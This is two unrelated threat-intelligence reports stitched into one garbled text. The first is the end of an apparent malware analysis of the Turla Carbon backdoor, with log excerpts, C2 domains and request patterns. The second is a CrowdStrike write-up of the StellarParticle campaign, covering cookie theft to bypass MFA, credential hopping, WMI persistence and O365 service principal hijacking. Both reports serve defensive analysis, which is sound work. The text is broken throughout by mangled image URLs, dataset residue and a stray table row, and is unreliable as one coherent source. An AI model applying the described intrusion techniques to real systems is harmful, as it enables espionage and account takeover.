The list of the targeted processes is stored in the configuration file: iproc iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F01_20152Fgraphics_01_20152Fcobra_05_hdd.pngmd53c146e76b5f3c0d04037a3c4eab668da445adad3parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F01_20152Fgraphics_01_20152Fcobra_06_createprocess.pngmd5e582fe48174c4b8068f719a65d48db7b84c6ceedparameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D As usual, the injected library is executed via the ModuleStart() exports.
Log file The orchestrator and stage 3 generate a shared log file.
The file is encrypted with the same algorithm and the same key as the configuration file.
Here is an example of the content: paulgdata:/Carbon ./decrypt.py infected/vndkrmn.dic [LOG] start1 30/12/1408:28:44acce6511-ba11-fa11-f0047d1sST3/710 30/12/1408:29:50acce6511-ba11-fa11-f0047d1sINJC:\Program Files\Windows Mail\en- US\msximl.dll 30/12/1408:30:28acce6511-ba11-fa11-f0047d1sINJ02204 30/12/1408:30:28acce6511-ba11-fa11-f0047d1uST3/62C:\Program Files\Internet Explorer\iexplore.exe :2204 30/12/1408:30:28acce6511-ba11-fa11-f0047d1uST2204:END 30/12/1408:30:39acce6511-ba11-fa11-f0047d1uW-10ALLNOINET 30/12/1408:30:41acce6511-ba11-fa11-f0047d1uW-10ALLNOINET 30/12/1408:37:18acce6511-ba11-fa11-f0047d1sSTOP3/710 30/12/1408:37:18acce6511-ba11-fa11-f0047d1sSTOPOK 30/12/1408:39:45acce6511-ba11-fa11-f0047d1sST3/710 30/12/1408:41:13acce6511-ba11-fa11-f0047d1sINJC:\Program Files\Windows Mail\en- US\msximl.dll 30/12/1408:41:34acce6511-ba11-fa11-f0047d1sINJ02196 30/12/1408:41:34acce6511-ba11-fa11-f0047d1uST3/62C:\Program Files\Internet Explorer\iexplore.exe :2196 30/12/1408:41:34acce6511-ba11-fa11-f0047d1uST2196:END 30/12/1408:41:35acce6511-ba11-fa11-f0047d1uOPERWrong config: no lastconnect 30/12/1408:41:36acce6511-ba11-fa11-f0047d1uP0NULL0Sleep:41 30/12/1408:41:38acce6511-ba11-fa11-f0047d1uOPERWrong config: no lastconnect 30/12/1408:41:39acce6511-ba11-fa11-f0047d1uW-10tazohor.com:/nrt 30/12/1408:41:40acce6511-ba11-fa11-f0047d1uW-1061paris.fr:/nrt 30/12/1408:41:40acce6511-ba11-fa11-f0047d1uW0NULL0Sleep:1816467 30/12/1408:41:40acce6511-ba11-fa11-f0047d1uP0NULL0Sleep:604 The log format is:DateTimeUnique IDsourcemessage The source can be: S: stands for the orchestrator (or System) U: stands for the injected library (or User).
The format of the message is not always the same.
However, the first part is the executed feature: ST: start (either for the orchestrator or the injected library) the second part of the message is the version (for example 3.71 for the orchestrator and 3.62 for the injected library) and, regarding the injected library, the name of the host process STOP: stop OPER: message for the operator (for example when the disk space is low) W: web requests INJ: injection the second part of the message is the path of the file (lib) used to be injected into e.g.
the browser or the PID L: load library log message S: log rotation message T: message linked to the task execution Stage 3: the injected library Md5: 554450c1ecb925693fedbb9e56702646 Version: 3.62 This threat is detected by G DATA security solutions as Backdoor.
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TurlaCarbon.
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data/reports_final/0076.txt
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TurlaCarbon.
A (Engine A) and Win32.Trojan.
Cobra.
B (Engine B).
Stage 3 is called user by the authors.
The internal name of the library is CARBON.dll.
The purpose of this stage is to communicate to the outside via web requests.
The communication is used to ex-filtrate data and to receive orders (or plugins or code to execute).
Mutex check The first task of stage 3 is to check whether the mutexes created by the orchestrator are available or not, to make sure the orchestrator has started correctly: Check of the Internet connection Before communicating with the command and control server, stage 3 checks whether an Internet connection is available by contacting: www.google.com www.yahoo.com www.bing.com update.microsoft.com windowsupdate.microsoft.com microsoft.com In case the connection does not work, the following message is written into the log file:uW-10ALLNOINET Communication to the command controls The communication to the operators is performed via the URL stored in the configuration file.
Firstly, the malware performs a GET request in order to identify whether the CC is up and running.
If the first query is a success, a second request is sent to the CC with the difference that some data is included into an HTTP Cookie.
The content of the cookie is catid, task, id, forumid, itemid, link, layout, start, limit (none of the parameters is mandatory).
The data sent in this cookie is encrypted, using the CAST-128 algorithm, and encoded.
https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F01_20152Fgraphics_01_20152Fcobra_07_mutex.pngmd53f942f6211d5b9e0c7f067dd62e29b0fed87892aparameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D http://en.wikipedia.org/wiki/HTTP_cookie The malware can also generate POST requests.
Here is an example of the pattern:POST hxxp://s/s?
uiddcontextsmodetextdatas The malware uses the same technique as Tavdig does to receive orders.
The data can be seen between the div and the /div field in the following screenshot: Additional features Stage 3 is able to execute tasks, exactly as the orchestrator is.
The code concerning the features is exactly the same as the code the orchestrator uses.
We assume that this is the case due to copy paste.
The user is able to execute libraries (by executing the export start()) and to execute Windows command line.
The command line can be executed with the current user privilege or with the privilege of another user (via CreateProcessA() or CreateProcessAsUserA()).
Conclusion This analysis shows us that the actors behind Uroburos, Agent.
BTZ and the Carbon System are skilled and still active.
This sample we analyzed demonstrates how the authors tried to complicate the detection and the use of Indicators of Compromise.
Summarized, some of the tricks we have encountered: use of random service names us of random file names use of random installation directory names https://blog.gdatasoftware.com/http:// https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F01_20152Fgraphics_01_20152Fcobra_08_div.pngmd56673023575f6f66fb5718b05159982a31576bec1parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D configuration of the named pipe name Carbon System is a real extensible framework with a plugin management.
As these plugins are provided by the contacted CC servers, it can be anything nothing has to be pre-bundled.
Due to the nature of the malware attacks, we can imagine those plugins to be anything connected to cyber espionage, from keyloggers to credentials stealers, eavesdropping mechanisms and much more.
An attacked enterprise or organization would be an open book for the attackers.
The architecture is complex, with an orchestrator and a library injected into the browsers and email clients processes.
Obviously, this approach resembles what we have seen looking at Uroburos.
The framework could be considered as a draft but still very powerful version (in user-land only) of Uroburos.
We believe that Uroburos is the product of the Cobra malware evolution.
Although Uroburos is a new branch, not a linear follow-up.
Looking at the whole picture that we can draw until now, we can say that everything regarding this whole campaign is highly professional.
We have analyzed various samples and have drawn many conclusions.
Even though there are still many open questions that need to be answered, we come closer to charming the snakes The Cobra, the venomous animal with the deadly bite, and Uroburos, the self-sustaining creepy mixture of a snake and a dragon.
This kind of herpetology became quite interesting and we are thrilled to find out more about the campaigns.
1/22 CrowdStrike Services - CrowdStrike Intelligence January 27, 2022 StellarParticle Campaign: Novel Tactics and Techniques crowdstrike.com/blog/observations-from-the-stellarparticle-campaign StellarParticle is a campaign tracked by CrowdStrike as related to the SUNSPOT implant from the SolarWinds intrusion in December 2020 and associated with COZY BEAR (aka APT29, The Dukes).
The StellarParticle campaign has continued against multiple organizations, with COZY BEAR using novel tools and techniques to complete their objectives, as identified by CrowdStrike incident responders and the CrowdStrike Intelligence team.
Browser cookie theft and Microsoft Service Principal manipulation are two of the novel techniques and tools leveraged in the StellarParticle campaign and are discussed in this blog.
Two sophisticated malware families were placed on victim systems in mid-2019: a Linux variant of GoldMax and a new implant dubbed TrailBlazer.
Supply chain compromises are an increasing threat that impacts a range of sectors, with threat actors leveraging access to support several motivations including financial gain (such as with the Kaseya ransomware attack) and espionage.
Throughout 2020, an operation attributed to the Foreign Intelligence Service of the Russian Federation (SVR) by the U.S. government was conducted to gain access to the update mechanism of the SolarWinds IT management software https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/ https://www.crowdstrike.com/cybersecurity-101/cyberattacks/cyber-espionage/ 2/22 and use it to broaden their intelligence collection capabilities.
This activity is tracked by CrowdStrike as the StellarParticle campaign and is associated with the COZY BEAR adversary group.
This blog discusses the novel tactics and techniques leveraged in StellarParticle investigations conducted by CrowdStrike.
These techniques include: Credential hopping for obscuring lateral movement Office 365 (O365) Service Principal and Application hijacking, impersonation and manipulation Stealing browser cookies for bypassing multifactor authentication Use of the TrailBlazer implant and the Linux variant of GoldMax malware Credential theft using Get-ADReplAccount Credential Hopping The majority of StellarParticle-related investigations conducted by CrowdStrike have started with the identification of adversary actions within a victims O365 environment.
This has been advantageous to CrowdStrike incident responders in that, through investigating victim O365 environments, they could gain an accurate accounting of time, account and source IP address of adversary victimization of the O365 tenant.
In multiple engagements, this led CrowdStrike incident responders to identify that the malicious authentications into victim O365 tenants had originated from within the victims own network.
Armed with this information, CrowdStrike investigators were able to identify from which systems in these internal networks the threat actor was making authentications to O365.
These authentications would typically occur from servers in the environment, leading to natural investigative questions: Why would a user authenticate into O365 from a domain controller or other infrastructure server?
What credentials were used as part of the session from which the O365 authentication occurred?
This led our responders to identify the occurrence of credential hopping, where the threat actor leveraged different credentials for each step while moving laterally through the victims network.
While this particular technique is not necessarily unique to the StellarParticle campaign, it indicates a more advanced threat actor and may go unnoticed by a victim.
Below is an example of how a threat actor performs credential hopping: Gain access to the victims network by logging into a public-facing system via Secure Shell (SSH) using a local account user sftp acquired during previous credential theft activities.
Use port forwarding capabilities built into SSH on the public-facing system to establish a Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain service account.
https://adversary.crowdstrike.com/en-US/adversary/cozy-bear/ 3/22 From Server 1, establish another RDP session to a different internal server (Server 2) using a domain administrators account.
Log in to O365 as a user with privileged access to cloud resources.
Figure 1.
Example of credential hopping technique This technique could be hard to identify in environments where defenders have little visibility into identity usage.
In the example shown in Figure 1, the threat actor leveraged a service interactively, which should generate detections for defenders to investigate.
However, the threat actor could have easily used a second domain administrator account or any other combination of accounts that would not be easily detected.
A solution such as CrowdStrike Falcon Identity Threat Detection would help identify these anomalous logons and especially infrequent destinations for accounts.
(
Read how CrowdStrike incident responders leverage the module in investigations in this blog: Credentials, Authentications and Hygiene: Supercharging Incident Response with Falcon Identity Threat Detection.)
But how had the threat actor succeeded in authenticating into victim O365 tenants, when multifactor authentication (MFA) had been enabled for every O365 user account at each victim organization investigated by CrowdStrike?
Cookie Theft to Bypass MFA Even though the victims required MFA to access cloud resources from all locations, including on premises, the threat actor managed to bypass MFA through the theft of Chrome browser cookies.
The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data.
In Windows, Chrome cookies and saved passwords are encrypted using DPAPI.
The user-specific encryption keys for DPAPI are stored under C:\Users\user\AppData\Roaming\Microsoft\Protect\ .
To leverage these encryption keys, the threat actor must first decrypt them, either by using the user accounts Windows password, or, in Active Directory environments, by using a DPAPI domain backup key that is stored on domain controllers.
Once the threat actor had a Chrome cookies file from a user that had already passed an MFA challenge recently (for example, a timeout was 24 hours), they decrypted the cookies file using the users DPAPI key.
The cookies were then added to a new session using a Cookie Editor Chrome extension that the threat actor installed on victim systems and removed after using.
Shellbags, Falcon Telemetry and RDP Bitmap Cache https://www.crowdstrike.com/products/identity-protection/ https://www.crowdstrike.com/blog/how-crowdstrike-supercharges-incident-response-with-identity-threat-detection/ 4/22 From a forensic standpoint, the use of the Cookie Editor Chrome extension would have been challenging to identify, due to the threat actors penchant for strict operational security.
This activity was identified via a NewScriptWritten event within Falcon when a JavaScript file was written to disk by a threat actor-initiated Chrome process.
This event captured the unique extension ID associated with the extension, thereby allowing CrowdStrike incident responders to validate via the Chrome Store that the JavaScript file was associated with the Cookie Editor plugin.
This extension permitted bypassing MFA requirements, as the cookies, replayed through the Cookie Editor extension, allowed the threat actor to hijack the already MFA-approved session of a targeted user.
Shellbags were also instrumental in identifying the cookie theft activity.
This artifact very clearly showed the threat actor accessing targeted users machines in sequence and browsing to the Chrome and DPAPI directories one after another.
Parsing Shellbags for an administrative account leveraged by the threat actor resulted in entries similar to the below.
Figure 2.
Shellbag artifacts showing targeting of Chrome directories CrowdStrike identified forensic evidence that showed the entire attack path: browsing to a target users Chrome and DPAPI directories via administrative share, installing the Cookie Editor extension, and using Chrome to impersonate the targeted user in the victims cloud tenants.
The decryption of the cookies is believed to have taken place offline after exfiltrating the data via the clipboard in the threat actors RDP session.
Figure 3.
Representation of lateral movement to cookie theft to O365 authentication 5/22 CrowdStrike identified a similar TTP where the threat actor connected via RDP to a users workstation with the workstation owners account (e.g., connecting via RDP to user1-pc using the account user1).
In cases where the user had only locked their screen and not signed out, the threat actor was able to take over the users Windows session, as the RDP session would connect to the existing session of the same user.
By examining RDP Bitmap Cache files, CrowdStrike was able to demonstrate that the threat actor had opened Chrome and exported all of the users saved passwords as plaintext in a CSV file during these sessions.
Figure 4.
RDP Bitmap Cache reconstruction showing exportation of Chrome passwords In addition, the threat actor visited sensitive websites that the user had access to, which in one instance allowed them to browse and download a victims customer list.
After this, the threat actor navigated to the users Chrome history page and deleted the specific history items related to threat actor activity, leaving the rest of the users Chrome history intact.
O365 Delegated Administrator Abuse CrowdStrike also identified a connection between StellarParticle-related campaigns and the abuse of Microsoft Cloud Solution Partners O365 tenants.
This threat actor abused access to accounts in the Cloud Solution Partners environment with legitimate delegated administrative privileges to then gain access to several customers O365 environments.
By analyzing Azure AD sign-ins, CrowdStrike was able to use known indicators of compromise (IOCs) to identify several threat actor logins to customer environments.
These cross-tenant sign-ins were identified by looking for values in the resourceTenantId attribute that did not match the Cloud Solution Partners own Azure tenant ID.
CrowdStrike also identified a limitation within Microsofts Delegated Administration capabilities for Microsoft Cloud Solution Partners.
While a normal O365 administrator can be provided dozens of specific administrative roles to limit the privileges granted, this same 6/22 degree of customization cannot be applied to Microsoft Cloud Solution Partners that use the delegated administrator functionality in O365.
For Microsoft Cloud Solution Partners, there are only two substantial administrative options today when managing a customers environment, Admin agent or Helpdesk agent .
The Helpdesk agent role provides very limited access that is equivalent to a password admin role, whereas the Admin agent role provides broad access more equivalent to global administrator.
This limitation is scheduled to be resolved in 2022 via Microsofts scheduled feature, Granular Delegated Admin Privileges (GDAP).
User Access Logging (UAL) The Windows User Access Logging (UAL) database is an extremely powerful artifact that has played an instrumental role in the investigation of StellarParticle-linked cases.
In particular, UAL has helped our responders identify earlier malicious account usage that ultimately led to the identification of the aforementioned TrailBlazer implant and Linux version of the GoldMax variant.
The UAL database is available by default on Server editions of Windows starting with Server 2012.
This database stores historical information on user access to various services (or in Windows parlance, Roles) on the server for up to three years (three years minus one day) by default.
UAL contains information on the type of service accessed, the user that accessed the service and the source IP address from which the access occurred.
One of the most useful roles recorded by UAL is the File Server role, which includes SMB access, though other role types can also be very helpful.
An overview of UAL, what information it contains and how it can be leveraged in forensic investigations can be found here.
In multiple StellarParticle-related cases, because the threat actor used the same set of accounts during their operations in the environment, CrowdStrike was able to identify previous malicious activity going back multiple years, based solely on UAL data.
Even though its only available on Server 2012 and up, UAL can still be used to trace evidence of threat actor activity on legacy systems as long as the activity on the legacy system involves some (deliberate or unintentional) access to a 2012 system.
For example, in addition to tracking SMB activity, UAL databases on Domain Controllers track Active Directory access.
This allowed CrowdStrike to demonstrate that a given user account was also authenticating to Active Directory from a given source IP address two years prior.
Because the user account was known to have recently been abused by the threat actor, and the source IP of the system in question was not one that account would typically be active on, the investigation led to the source system and ultimately resulted in the timeline of malicious activity being pushed back by years, with additional compromised systems even being discovered still running unique malware from that time period.
TrailBlazer and GoldMax 2 3 https://www.crowdstrike.com/blog/user-access-logging-ual-overview/ 7/22 Throughout StellarParticle-related investigations, CrowdStrike has identified two sophisticated malware families that were placed on victim systems in the mid-2019 timeframe: a Linux variant of GoldMax and a completely new family CrowdStrike refers to as TrailBlazer.
TrailBlazer Attempted to blend in with a file name that matched the system name it resided on Configured for WMI persistence (generally uncommon in 2019) Used likely compromised infrastructure for C2 Masquerades its command-and-control (C2) traffic as legitimate Google Notifications HTTP requests TrailBlazer is a sophisticated malware family that provides modular functionality and a very low prevalence.
The malware shares high-level functionality with other malware families.
In particular, the use of random identifier strings for C2 operations and result codes, and attempts to hide C2 communications in seemingly legitimate web traffic, were previously observed tactics, techniques and procedures (TTPs) in GoldMax and SUNBURST.
TrailBlazer persists on a compromised host using WMI event subscriptions a technique also used by SeaDuke although this persistence mechanism is not exclusive to COZY BEAR.
WMI event filter SELECT FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System AND TargetInstance.
SystemUpTime 180 AND TargetInstance.
SystemUpTime 480 WMI Event consumer (CommandLineTemplate) C:\Program Files (x86)\Common Files\Adobe\ FILENAME.exe Filter to consumer binding CommandLineEventConsumer.
Name GUID1__EventFilter.
NameGUID2 Table 1.
TrailBlazer WMI Persistence In the obfuscated example above, TrailBlazer ( FILENAME .exe ) would be executed when the systems uptime was between 180 and 480 seconds.
GoldMax (Linux variant) Attempted to blend in with a file name that matched the system name it resided on Configured for persistence via a crontab entry with a reboot line Used likely compromised infrastructure for C2 GoldMax was first observed during post-exploitation activity in the campaign leveraging the SolarWinds supply chain attacks.
Previously identified samples of GoldMax were built for the Windows platform, with the earliest identified timestamp indicating a compilation in May 2020, but a recent CrowdStrike investigation discovered a GoldMax variant built for the Linux 4 5 https://attack.mitre.org/software/S0053/ 8/22 platform that the threat actor deployed in mid-2019.
This variant extends the backdoors known history and shows that the threat actor has used the malware in post- exploitation activity targeting other platforms than Windows.
The 2019 Linux variant of the GoldMax backdoor is almost identical in functionality and implementation to the previously identified May 2020 Windows variant.
The very few additions to the backdoor between 2019 and 2020 likely reflect its maturity and longstanding evasion of detections.
It is likely GoldMax has been used as a long-term persistence backdoor during StellarParticle-related compromises, which would be consistent with the few changes made to the malware to modify existing functions or support additional functionality.
Persistence was established via a crontab entry for a non-root user.
With the binary named to masquerade as a legitimate file on the system and placed in a hidden directory, a crontab entry was created with a reboot line so the GoldMax binary would execute again upon system reboot.
Additionally, the threat actor used the nohup command to ignore any hangup signals, and the process will continue to run even if the terminal session was terminated.
Figure 5.
Crontab entry for GoldMax persistence Enumeration Tools/Unique Directory Structure Throughout our StellarParticle investigations, CrowdStrike identified what appeared to be a VBScript-based Active Directory enumeration toolkit.
While the scripts contents have not been recovered to date, CrowdStrike has observed identical artifacts across multiple StellarParticle engagements that suggest the same or similar tool was used.
In each instance the tool was used, Shellbags data indicated that directories with random names of a consistent length were navigated to by the same user that ran the tool.
After two levels of randomly named directories, Shellbags proved the existence of subdirectories named after the FQDNs for the victims various domains.
In addition, the randomly named directories are typically created in a previously existing directory thats one level off of the root of the C drive.
The randomly named directories have a consistent length where the first directory is six characters and the next directory is three characters.
To date, the names of the directories have always been formed from lowercase alphanumeric characters.
For example, Shellbags indicated that directories matching the naming patterns below were browsed to (where XX is a previously existing directory on the system): C:\XX\[a-z0-9]6 C:\XX\[a-z0-9]6\[a-z0-9]3 C:\XX\[a-z0-9]6\[a-z0-9]3\domain.
FQDN C:\XX\[a-z0-9]6\[a-z0-9]3\domain-2.FQDN 9/22 In each case, immediately prior to the creation of the directories referenced above, there was evidence of execution of a VBScript file by the same user that browsed to the directories.
This evidence typically came from a UserAssist entry for wscript.exe, as well as RecentApps entries for wscript.exe (that would also include the VBScript filename).
In addition, the Jump List for wscript.exe contained evidence of the VBScript files.
The name of the VBScript files varied across engagements and was generally designed to look fairly innocuous and blend in.
Two examples are env.vbs and WinNet.vbs .
Due to the subdirectories that are named after the FQDNs for victim domains, CrowdStrike assesses with moderate confidence that the scripts represent an AD enumeration tool used by the adversary.
Internal Wiki Access Across multiple StellarParticle investigations, CrowdStrike identified unique reconnaissance activities performed by the threat actor: access of victims internal knowledge repositories.
Wikis are commonly used across industries to facilitate knowledge sharing and as a source of reference for a variety of topics.
While operating in the victims internal network, the threat actor accessed sensitive information specific to the products and services that the victim organization provided.
This information included items such as product/service architecture and design documents, vulnerabilities and step-by-step instructions to perform various tasks.
Additionally, the threat actor viewed pages related to internal business operations such as development schedules and points of contact.
In some instances these points of contact were subsequently targeted for further data collection.
The threat actors wiki access could be considered an extension of Credential Hopping described earlier.
The threat actor established RDP sessions to internal servers using privileged accounts and then accessed the wiki using a different set of credentials.
CrowdStrike observed the threat actor accessing the wiki as users who would be considered non- privileged from an Active Directory perspective but had access to sensitive data specific to the victims products or services.
At this time, the malicious access of internal wikis is an information gathering technique that CrowdStrike has only observed in StellarParticle investigations.
CrowdStrike was able to identify the wiki access primarily through forensic analysis of the internal systems used by the threat actor.
Given the threat actors penchant for clearing browser data, organizations should not rely upon the availability of these artifacts for future investigations.
CrowdStrike recommends the following best practices for internal information repositories: Enable detailed access logging Ensure logs are centralized and stored for at least 180 days Create detections for anomalous activity such as access from an unusual location like a server subnet Enable MFA on the repository site, or provide access via Single Sign On (SSO) behind MFA 6 10/22 O365 Built-in Service Principal Hijacking The threat actor connected via Remote Desktop from a Domain Controller to a vCenter server and opened a PowerShell console, then used the PowerShell command -ep bypass to circumvent the execution policy.
Using the Windows Azure Active Directory PowerShell Module, the threat actor connected to the victims O365 tenant and began performing enumeration queries.
These queries were recorded in text-based logs that existed under the path C:\Users\user\AppData\Local\Microsoft\Office365\Powershell\ .
Similar logs (for Azure AD instead of O365) can be found under the path: C:\Users\user\AppData\Local\Microsoft\AzureAD\Powershell\ .
While the logs didnt include what data was returned by the queries, they did provide some insight such as the user account used to connect to the victims O365 tenant (which was not the same as the user the threat actor used to RDP to the vCenter server).
The logs contained commands issued and the count of the results returned for a specific command.
The commands included enumeration queries such as: ListAccountSkus ListPartnerContracts ListServicePrincipals ListServicePrincipalCredentials ListRoles ListRoleMembers ListUsers ListDomains GetRoleMember GetPartnerInformation GetCompanyInformation In this case, however, the most significant and concerning log entry was one that indicated the command AddServicePrincipalCredentials was executed.
By taking the timestamp that the command was executed via the PowerShell logs on the local system, CrowdStrike analyzed the configuration settings in the victims O365 tenant and discovered that a new secret had been added to a built-in Microsoft Azure AD Enterprise Application, Microsoft StaffHub Service Principal, which had Application level permissions.
Further, the newly added secret was set to remain valid for more than a decade.
This data was acquired by exporting the secrets and certificates details for each Azure AD Enterprise Application.
The Service Principal (now renamed to Microsoft Teams Shifts ) had the following permissions at the time the configuration settings were collected: 11/22 Member.
Read Member.
Read.
All Member.
ReadWrite Member.
ReadWrite.
All Shift.
Read Shift.
Read.
All Shift.
ReadWrite Shift.
ReadWrite.
All Team.
Read Team.
Read.
All Team.
ReadWrite Team.
ReadWrite.
All User.
Read.
All User.
ReadWrite.
All WebHook.
Read.
All WebHook.
ReadWrite.
All CrowdStrike was unable to find Microsoft documentation, but based on open-source research, this application likely had the following permissions around the time of registration: Mail.
|
77
|
Read Group.
| 19,146
| 19,319
| 174
|
data/reports_final/0077.txt
|
Read Group.
Read.
All Files.
Read.
All Group.
ReadWrite.
All The most notable permissions above are the Mail.
Read , Files.
Read and Member.
ReadWrite permissions.
These permissions would allow the threat actor to use the Microsoft Staffhub service principal to read all mail and SharePoint/OneDrive files in the organization, as well as create new accounts and assign administrator privileges to any account in the organization.
By running the commands from within the victims environment, MFA requirements were bypassed due to conditional access policies not covering Service Principal sign-ins at this point of time.
However, as explained earlier, the threat actor managed to continue to access the victims cloud environment even when the victim enforced MFA for all connections regardless of source.
While the bulk of the evidence for this activity came from the text-based O365 PowerShell logs, the NTUSER.DAT registry hive for the user that was running the PowerShell cmdlets also included information on the accounts that were used to authenticate to the cloud.
This information was stored under the registry path.
Below is an example of the registry data: 7 8 12/22 Figure 6.
Example registry entry showing target O365 email accounts The same WSMan connection string was also located in the users NTUSER.DAT registry hive under the path: Figure 7.
WSMan connection string registry location While not strictly related to the O365 PowerShell activity, the Windows Event Log Microsoft-Windows-WinRM4Operational.evtx also included information on connection attempts made to external O365 tenants.
This information was logged under Event ID 6.
Below is an example of what the event included: Figure 8.
Windows Event Log entry showing connection to O365 tenants O365 Company Service Principal Manipulation The threat actor also deployed several layers of persistence utilizing both pre-existing and threat actor-created Service Principals with the ultimate goal of gaining global access to email.
Attacker-created Service Principal First, the threat actor used a compromised O365 administrator account to create a new Service Principal with a generic name.
This Service Principal was granted company administrator privileges.
From there, the threat actor added a credential to this Service Principal so that they could access the Service Principal directly, without use of an O365 user account.
These actions were recorded in Unified Audit Logs with the following three operation names: Add service principal Add member to role Add service principal credentials.
Update Service Principal Company-Created Service Principal Hijacking Next, the threat actor utilized the threat actor-created Service Principal to take control of a second Service Principal.
This was done by adding credentials to this second Service Principal, which was legitimately created by the company.
This now compromised company-created Service Principal had mail.read graph permissions consented on behalf of all users within the tenant.
13/22 This action was recorded by just one operation type in Unified Audit Logs.
This operation type is named Add service principal credentials .
Mail.
Read Service Principal Abuse Finally, the threat actor utilized the compromised Service Principal with the assigned mail.read permissions to then read emails of several different users in the companys environment.
CrowdStrike was able to use the Unified Audit Logs (UAL) MailItemsAccessed operation events to see the exact emails the threat actor viewed, as the majority of the users in the tenant were assigned O365 E5 licenses.
When performing analysis on the UAL, CrowdStrike used the ClientAppId value within the MailItemsAccessed operation and cross-correlated with the Application ID of the compromised service principal to see what activities were performed by the threat actor.
O365 Application Impersonation Another consistent TTP identified during StellarParticle investigations has been the abuse of the ApplicationImpersonation role.
When this role was assigned to a particular user that was controlled by the threat actor, it allowed the threat actor to impersonate any user within the O365 environment.
These impersonated events are not logged verbosely by the Unified Audit Logs and can be difficult to detect.
While the assignment of these ApplicationImpersonation roles were not logged in the Unified Audit Logs, CrowdStrike was able to identify this persistence mechanism via the management role configuration settings, which can be exported with the Exchange PowerShell command: Get-ManagementRoleAssignment -Role ApplicationImpersonation .
CrowdStrike then analyzed the exported configuration settings and identified several users (not service accounts) that the threat actor likely gave direct ApplicationImpersonation roles during the known periods of compromise.
Remote Tasklist The threat actor attempted to remotely list running processes on systems using tasklist.exe .
As tasklist uses WMI under the hood, this activity was captured by Falcon as SuspiciousWmiQuery events that included the query and the source system.
Additionally, the failed (not successful) process listing resulted in a DCOM error that was logged in the System.evtx event log under Event ID 10028.
A sample of the information included with this event is below: 9 14/22 Figure 9.
Event ID 10028 showing failed execution of remote tasklist This remote process listing was consistently used by the threat actor targeting the same or similar lists of remote systems, and the owners of the targeted systems also happened to be the individuals with cloud access that the threat actor was interested in.
While unproven, its possible the threat actor was running tasklist remotely on these systems specifically to see which of the target systems was running Google Chrome.
This is because a current or recent Chrome session to the victims cloud tenants would be potentially beneficial in the hijacking of sessions that the threat actor performed in order to access the victims cloud resources.
FTP Scanning/Identity Knowledge In one instance, after being evicted from a victim environment, the threat actor began probing external services as a means to regain access, initially focusing on (S)FTP servers that were internet-accessible.
Logs on the servers indicated that the threat actor attempted to log in with multiple valid accounts and in several cases was successful.
There was little to no activity during the (S)FTP sessions.
This likely was an exercise in attempting to identify misconfigured (S)FTP accounts that also had shell access, similar to whats described in the Credential Hopping section earlier.
Some of the accounts used were not in the victims Active Directory, as these were accounts for customers of the victim and stored in a separate LDAP database.
However, the threat actor had knowledge of these accounts and used them on the correct systems, which further confirmed that the threat actor had advanced knowledge of the victims environment.
After confirming the FTP accounts did not provide shell access into the environment, the threat actor began attempting to connect into the environment via VPN.
The threat actor attempted to log in to the VPN using several user accounts but was prevented from connecting, either due to not having the correct password, or due to having the correct password but not getting past the recently implemented MFA requirement.
Eventually, the threat actor attempted an account that they had the correct password for but that had not been set up with MFA.
This resulted in a prompt being displayed to the threat actor that included an MFA setup link.
The threat actor subsequently set up MFA for the account and successfully connected to the victims network via VPN.
TA Masquerading of System Names During the attempted and successful VPN authentications described above, the threat actor ensured the hostname of their system matched the naming convention of hostnames in the victims environment.
This again showed a strong knowledge of the victims internal environment on the part of the threat actor.
Not only did the masqueraded hostnames follow the correct naming convention from a broad perspective, they were also valid in terms of what 15/22 would be expected for the user account the threat actor leveraged (i.e., in terms of the site name and asset type indicated in the hostname).
This masqueraded hostname technique has been observed at multiple StellarParticle-related investigations.
